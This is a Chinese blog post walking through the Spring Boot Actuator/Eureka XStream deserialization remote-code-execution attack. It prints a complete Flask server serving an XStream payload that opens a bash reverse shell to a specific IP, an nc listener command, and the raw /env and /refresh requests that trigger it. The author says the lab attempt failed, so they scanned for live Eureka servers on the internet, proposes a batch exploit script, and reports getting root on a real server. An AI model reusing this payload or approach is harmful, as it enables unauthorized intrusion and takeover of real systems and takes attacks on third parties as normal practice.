SpringBoot-Eureka-xstream-rce漏洞复现

news2025/8/3 7:17:05

SpringBoot-Eureka-xstream-rce

actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块。其提供的执行器端点分为两类:原生端点和用户自定义扩展端点,原生端点主要有:

在这里插入图片描述

漏洞利用

1.利用trace,获取认证信息(Cookie、tooken、Session),利用认证信息访问接口

http://localhost:9093/trace

访问/trace端点获取基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等),如果存在登录用户的操作请求,可以伪造cookie进行登录。

在这里插入图片描述

2.利用env加refresh进行getshell

http://localhost:9093/env

访问/env端点获取全部环境属性,由于 actuator 会监控站点 mysql、mangodb 之类的数据库服务,所以通过监控信息有时可以mysql、mangodb 数据库信息,如果数据库正好开放在公网,那么造成的危害是巨大的

在这里插入图片描述

/env端点配置不当造成RCE

利用条件:

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

因为自己搭建的靶场环境一直复现失败,决定直接实战,搜索

app="Eureka-Server"

爬取ip,访问/env路径,若返回状态码为200则可能成功,可以写批量exp的脚本

接下来对我们搜集的ip测试是否出网

在这里插入图片描述

在这里插入图片描述

在refresh后,dnslog出现了一条数据,证明目标服务器可以出网,接下来进行漏洞利用,并记录详细过程
在这里插入图片描述

开启脚本,架设响应恶意 XStream payload 的网站,这里我使用了自己的云服务器

python springboot-xstream-rce.py

springboot-xstream-rce.py

from flask import Flask, Response

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                      <string>/bin/bash</string>
                      <string>-c</string>
                      <string>bash -i >&amp; /dev/tcp/124.222.155.84/3333 0>&amp;1</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
    app.run(host='0.0.0.0', port=2222)

访问测试http://ip:2222/xstream ,返回一条数据

在这里插入图片描述

服务器监听反弹shell的端口

nc -lvvp 3333

在这里插入图片描述

1.eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址

spring1.x

POST /env HTTP/1.1
Host: 47.111.236.137:9001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

eureka.client.serviceUrl.defaultZone=http://124.222.155.84:2222/xstream

若spring2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/xstream"}

2.refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload

spring1.x

POST /refresh HTTP/1.1
Host: 47.111.236.137:9001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

aaa

在这里插入图片描述

spring2.x

POST /actuator/refresh
Content-Type: application/json

在这里插入图片描述

3.目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞

等待一段时间直接拿到权限,控制了服务器还是root权限

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/34901.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

虚拟内存初探CSAPP

VM as a tool for caching CMU213-CSAPP-Virtual-Memory-Concepts | GreenHatHGのBlog 理解这个概念&#xff0c;就是说&#xff0c;VM是看作是独立与CPU和主存之外的disk&#xff0c;然后主存看成是这个虚拟地址数列的cache (DRAM就是物理的主存&#xff09; 重新用自己的…

大规模异构图召回在美团到店推荐广告的应用

总第530篇2022年 第047篇美团到店推荐广告团队在图神经网络的长期落地实践中&#xff0c;思考分析了场景的特点与挑战&#xff0c;针对性地进行了模型设计&#xff0c;并通过大规模训练工具及线上部署优化多次成功落地&#xff0c;带来了线上收入提升。本文主要介绍了大规模图召…

nginx--源码分析 array(实现动态数组)

1.基本数据结构 typedef struct {void *elts;ngx_uint_t nelts;size_t size;ngx_uint_t nalloc;ngx_pool_t *pool; } ngx_array_t;结构成员定义 1.void* elts &#xff1a;数组的内存位置&#xff0c; 即数组首地址 采用void* 近似使用模板技术,可以通过类…

npm配置taobao镜像及nrm快速换源工具介绍

文章目录npm配置淘宝镜像1 为什么默认源下载很慢&#xff1f;2 淘宝npm镜像服务器3 切换npm的下包镜像源4 nrmnpm配置淘宝镜像 1 为什么默认源下载很慢&#xff1f; 在使用npm下包的时候&#xff0c;默认从国外的https://registry.npmjs.orgl服务器进行下载&#xff0c;此时&…

linux的重定向与xshell原理

文章目录一、重定向1.输出重定向&#xff1a;>1.写入指定文件2. 覆盖写2.追加重定向 &#xff1a;>>3.输出重定向&#xff1a;<1.键盘显示2.文件显示4.重定向的一些认知误区1. test.c只显示错误的2. msg.c只显示正确的3.分析4.显示出正确的二 、xshell命令及原理1.…

【Python】环境搭建详细过程

前言 要想能够进行 Python 开发, 就需要搭建好 Python 的环境。 需要安装的环境主要是两个部分: 运行环境: Python开发环境: PyCharm 安装Python 1、找到官方网站 2、找到下载页面 点击后开始下载&#xff0c;下载完成后会出现exe的安装程序 3、双击安装包 注意&#xff1a…

scala语法(一)(有java基础速学)

在拥有java基础上学习scala&#xff0c;注意以下几点 1. 变量声明 var | val 变量名 [: 变量类型] 变量值 val name: String "nico" 声明变量时&#xff0c;类型可以省略&#xff08;就是叫 类型推断&#xff09; val name "nico"类型确定后&#xff…

下载MySQL驱动包,并导进idea

操作MySQL就需要下载Mysq 驱动包 Mysql驱动包可以去“中央仓库”下载&#xff1b; 打开“中央仓库”&#xff0c;可能会等待验证是否为人机&#xff1a; 进行搜索&#xff0c;找到【MySQL Connector Java】 进行下载 往下话&#xff0c;找到跟自己MySQL对应的版本号&#xf…

Linux基本指令(二)

这章我们将继续介绍一些Linux常见的指令. 目录 more指令 less指令&#xff08;重要&#xff09; head指令 tail指令 时间相关的指令 cal指令 find指令 &#xff08;很重要&#xff09; which指令 alias指令 grep指令 xargs指令 zip/unzip指令 tar指令&#xff08;重要&#xff…

使用json、yaml、toml作为配置文件,你知道他们的区别吗

前言 配置文件&#xff0c;不言而喻&#xff0c;主要是我们进行项目和工程配置的文件。 如果是站在前端角度说的话&#xff0c;我们最常接触的就是 json以及 js类型的文件&#xff0c;这种形式的配置写法对前端非常友好&#xff0c;因为都是我们熟悉的 JS 对象结构&#xff0…

计算机专业毕业设计项目,如何去做?一位大龄过期“初级”程序员来讲讲

首先自我介绍一下&#xff0c;作为一名超过35岁以上初级程序员&#xff0c;请看仔细&#xff0c;初级程序员。从业5年&#xff0c;涉及的领域web站全栈&#xff0c;后端使用语言Java。 一、主题和程序语言的选择 我记得上个小伙伴跟我说过&#xff0c;他们的大学是每年的4月份…

pytest -- Allure报告

执行和生成报告&#xff1a; 1&#xff09;在main文件中加入如下代码&#xff1a; 1&#xff09;在main文件中加入如下代码&#xff1a; if __name__ __main__:# 指定临时json文件生成位置 pytest.main(["./case/test_visit_url_screenshot.py", …

好用的电容笔有哪些?2022年电容笔十大品牌排行榜

每一件产品都有其独特的含义、存在和作用。现在ipad的热度和ipad的影响力都在逐渐提升&#xff0c;使得ipad的用户也在不断增长&#xff0c;那么想要提升ipad的性能&#xff0c;就必须要有一款适合ipad的电容笔。所以&#xff0c;应该选用什么牌子的电容笔&#xff1f;我会给大…

完美支持--WIN11--Crack--LightningChart-10.3.2.2

实例探究--LightningChart,Crack完美支持Windows11 破解版了解LightningChart的客户如何在他们的应用程序中实施 LightningChart &#xff0c;成为现实生活中的成功案例。---内容摘自官网&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01; Lightnin…

一文让你了解数据采集

随着云计算、大数据、人工智能的发展&#xff0c;数据采集作为数据的重要手段&#xff0c;成为广大企业的迫切需求。 所谓“得数据者&#xff0c;得人工智能”&#xff0c;如今人工智能早已在我们的生活中屡见不鲜。如“人脸识别”、“语音唤醒音响”等都属于人工智能的范畴。…

网站劫持常见方法

前言 本文主要是对常见的网站劫持方法进行总结学习&#xff0c;通过提前学习了解&#xff0c;不至于在遇到实际项目时手足无措。 网站劫持是黑帽SEO中的一种方式&#xff0c;可以通过入侵服务器获得权限后&#xff0c;对前端JS、后端脚本文件以及中间件进行设置&#xff0c;从…

【微信小程序系列:五】小程序适老化自动适配工具miniprogram-elder-transform---微信老年关怀模式下小程序字体适配微信字体

1.先言 这个工具我网上基本找不到任何一篇文章说这个miniprogram-elder-transform的使用的&#xff0c;&#xff0c;既然没有&#xff0c;那咱就自己写第一篇~ Android字体大小标准默认16px&#xff0c;iOS字体大小标准默认17px。 个人觉得&#xff0c;微信用户设置字体大小超…

新手必看 电商商家一般不会分享的TikTok涨粉秘笈

想要实现TikTok营销变现增长&#xff0c;除了TikTok选品&#xff0c;还要学会TikTok营销。而对于刚刚起步的TikTok电商商家来说&#xff0c;涨粉就是第一烦恼了&#xff0c;今天就来说说关于TikTok涨粉这些事&#xff01;1、确定目标市场 首先&#xff0c;调研并确定所在行业与…

电脑c盘满了怎么清理,快速清理,用这5招

​新买的电脑没用多久&#xff0c;突然发现系统提示磁盘空间不足。点击一看&#xff0c;电脑c盘空间已经爆满变红。当出现这种情况时&#xff0c;很多电脑的运行速度会大大降低&#xff0c;甚至导致部分应用无法正常运行。那么电脑c盘满了怎么清理&#xff1f;如何释放电脑c盘空…

OpenGL 阴影

目录 一.OpenGL 阴影 1.IOS Object-C 版本1.Windows OpenGL ES 版本2.Windows OpenGL 版本 二.OpenGL 阴影 GLSL Shader三.猜你喜欢 零基础 OpenGL ES 学习路线推荐 : OpenGL ES 学习目录 >> OpenGL ES 基础 零基础 OpenGL ES 学习路线推荐 : OpenGL ES 学习目录 >&…